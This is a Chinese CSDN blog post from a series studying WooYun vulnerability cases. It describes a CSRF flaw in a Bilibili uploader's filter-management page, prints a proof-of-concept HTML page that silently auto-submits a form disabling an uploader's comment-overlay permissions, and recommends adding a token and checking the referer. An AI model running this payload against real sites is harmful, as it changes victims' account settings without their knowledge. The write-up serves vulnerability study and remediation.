【漏洞学习——CSRF】bilibili某处csrf漏洞

最新推荐文章于 2024-07-19 00:30:00 发布

FLy_鹏程万里

最新推荐文章于 2024-07-19 00:30:00 发布

阅读量3.2k

点赞数 1

分类专栏：【渗透测试实战】 # 乌云漏洞案例学习

本文链接：https://blog.csdn.net/Fly_hps/article/details/84390831

版权

【渗透测试实战】同时被 2 个专栏收录

160 篇文章 18 订阅

订阅专栏

乌云漏洞案例学习

75 篇文章 23 订阅

订阅专栏

漏洞细节

此漏洞可以针对up主，关闭下列三项弹幕权限，使其发稿视频没有弹幕！
csrf位置在用户中心-->过滤管理中

http://member.bilibili.com/#gl_manage

poc

<html>
   <head>
   <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
   <title>CSRF/exploit--bilibili</title>
   </head>

    <body>
   <form action="http://member.bilibili.com/video_manage.do?act=save_filter" method="POST">
      <input type="hidden" name="format" value="json" />
      <input type="hidden" name="accept_guest" value="0" />
      <input type="hidden" name="accept_spcmt" value="0" />

      <input type="hidden" name="accept_advcmt" value="0" />
      <input type="hidden" name="block_group" value="" />
      <input type="hidden" name="new_filters" value="[]" />
    </form>
   </body>
 <script>
      document.forms[0].submit();
 </script>
</html>

修复方案

（1）加上token
（2）验证reffer

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

FLy_鹏程万里

关注关注

1
点赞
踩
1

收藏

觉得还不错? 一键收藏
打赏
0
评论
【漏洞学习——CSRF】bilibili某处csrf漏洞

漏洞细节此漏洞可以针对up主，关闭下列三项弹幕权限，使其发稿视频没有弹幕！csrf位置在用户中心--&gt;过滤管理中http://member.bilibili.com/#gl_managepoc&lt;html&gt; &lt;head&gt; &lt;meta http-equiv="Content-Type" content="text/html; ch...
复制链接

扫一扫